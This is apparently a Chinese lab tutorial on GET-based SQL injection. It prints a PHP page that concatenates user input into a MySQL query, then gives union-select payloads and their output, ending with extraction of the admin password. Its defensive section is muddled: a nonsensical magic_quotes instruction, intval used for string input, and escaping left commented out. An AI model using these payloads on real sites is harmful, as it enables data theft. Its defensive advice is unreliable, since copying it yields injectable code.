1、代码篇

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if($row){
echo "你获取的数据:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
else{
echo "mysql_query error".mssql_error();
}
}
else{
echo "请输入id";
}
?>

2、注入篇

http://localhost/pentest/sql/sql_get_id.php?id=1

你当前输入id:1
你获取的数据:
id:1
username:admin
password:pass

构造sql注入语句:

http://localhost/pentest/sql/sql_get_id.php?id=1'  --+

你当前输入id:1' --
你获取的数据:
id:1
username:admin
password:pass

我们就可以进行各种各样的查询

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select @@datadir,database(),version() --+

你当前输入id:1' and 1=2 union select @@datadir,database(),version() -- 
你获取的数据:
id:D:\wamp\bin\mysql\mysql5.5.20\data\
username:bloodzero
password:5.5.20-log

这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;

好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select current_user(),2,3 --+

你当前输入id:1' and 1=2 union select current_user(),2,3 --
你获取的数据:
id:root@localhost
username:2
password:3
注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+

你当前输入id:1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
你获取的数据:
id:information_schema
username:2
password:3 注:我们可以通过改变limit 0,1的值来获取不同的值;
limit m,n
m:表示从查询结果的第几条开始取;
n:表示取多少条;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+

你当前输入id:1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
你获取的数据:
id:user
username:2
password:3

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --+

你当前输入id:1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --
你获取的数据:
id:id
username:2
password:3 注:这里的表名如果执行不成功,可以更换为16进制

  附:小葵转换工具 提取码:yisi

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select id,username,password from user limit 0,1 --+

你当前输入id:1' and 1=2 union select id,username,password from user limit 0,1 --
你获取的数据:
id:1
username:admin
password:pass

3、防注入

对于php+mysql防注入:首先将magic_quotes_off的值设为On;

int型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
……
?>

char型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
/*
$search=addslashes($search);
$search=str_replace(“_”,”\_”,$search); #过滤_
$search=str_replace(“%”,”\%”,$search); #过滤%
*/
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
……
?>

sql_injection之基本get注入的更多相关文章

  1. sql_injection之post注入

    1.代码篇 </html> <center> <form action="#" method="post"> 姓名:< ...

  2. 另类的SQL注入方法

    前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...

  3. 利用insert,update和delete注入获取数据

    0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...

  4. SQL 注入防御方法总结

    SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...

  5. ModSecurity SQL注入攻击

    ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...

  6. SQL注入攻击技巧总结

    0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...

  7. PHP防止SQL注入与几种正则表达式讲解

    注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) {     echo <b& ...

  8. 防御SQL注入的方法总结

    这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下   SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...

  9. PHP防SQL注入攻击

    PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...

随机推荐

  1. mysql索引的优化

    MySQL索引的优化 上面都在说使用索引的好处,但过多的使用索引将会造成滥用.因此索引也会有它的缺点:虽然索引大大提高了查询速度,同时却会降低更新表的速度,如对表进行INSERT.UPDATE和DEL ...

  2. springmvc+mybatis 根据数据的id删除数据

    1. 数据库表 2. notices.jsp <form action="#" method="post"> <fieldset> &l ...

  3. Homework 1_SQL Server中由于外键约束而删除数据失败

    SQL Server中由于外键约束而删除数据失败 原因分析:外键约束问题.在配置文件中配置了一对一的关系,外键也是唯一的.数据库中数据有严格的依赖关系. 而在业务逻辑中,在往数据库里删除数据之前,却忘 ...

  4. 【Java并发编程】之六:Runnable和Thread实现多线程的区别

    Java中实现多线程有两种方法:继承Thread类.实现Runnable接口,在程序开发中只要是多线程,肯定永远以实现Runnable接口为主,因为实现Runnable接口相比继承Thread类有如下 ...

  5. 转载manifold learning一篇

    我恨自己不干活儿,不过也没辙. 早晚要学习流形的,今天先转一篇文章,以后找不到就尿了. 我真羡慕数学系的人,╮(╯▽╰)╭. 发信人: Kordan (K&M), 信区: AI标  题: do ...

  6. PHP是什么?

    PHP是什么? PHP是一门后端动态解释型计算机高级语言,一般用来编写或者生成动态网页,主要负责数据的处理与渲染.(这里是指用PHP嵌入网页里面的形式,现在可以直接用一些JS的框架去渲染网页数据了,P ...

  7. 【BZOJ4999】This Problem Is Too Simple!(线段树)

    [BZOJ4999]This Problem Is Too Simple!(线段树) 题面 BZOJ 题解 对于每个值,维护一棵线段树就好啦 动态开点,否则空间开不下 剩下的就是很简单的问题啦 当然了 ...

  8. 使用IPMI控制/监控Linux服务器

    1       IPMI简述 IPMI提供了很多丰富功能,我使用的功能,说得大白话一点,就是: 1.获取本设备的硬件信息:包括CPU和主板的温度.电压.风扇转速. 2.在设备A上,通过命令,控制远程设 ...

  9. (转)编码规范系列(一):Eclipse Code Templates设置

    背景:长久以来,对java编程中的注释不甚理解.再次学习<疯狂JAVA讲义>基础,深深的感到自己基本功的不牢固.所以要做到事无巨细,好好修炼. 认识注释 常识 注释的作用: 回顾原有的代码 ...

  10. MVC3控制器方法获取Form数据方法

    http://www.cnblogs.com/bianlan/archive/2013/01/12/2857310.html 控制器方法获取View页面传送的数据有多种方法,以Edit方法为例: 1. ...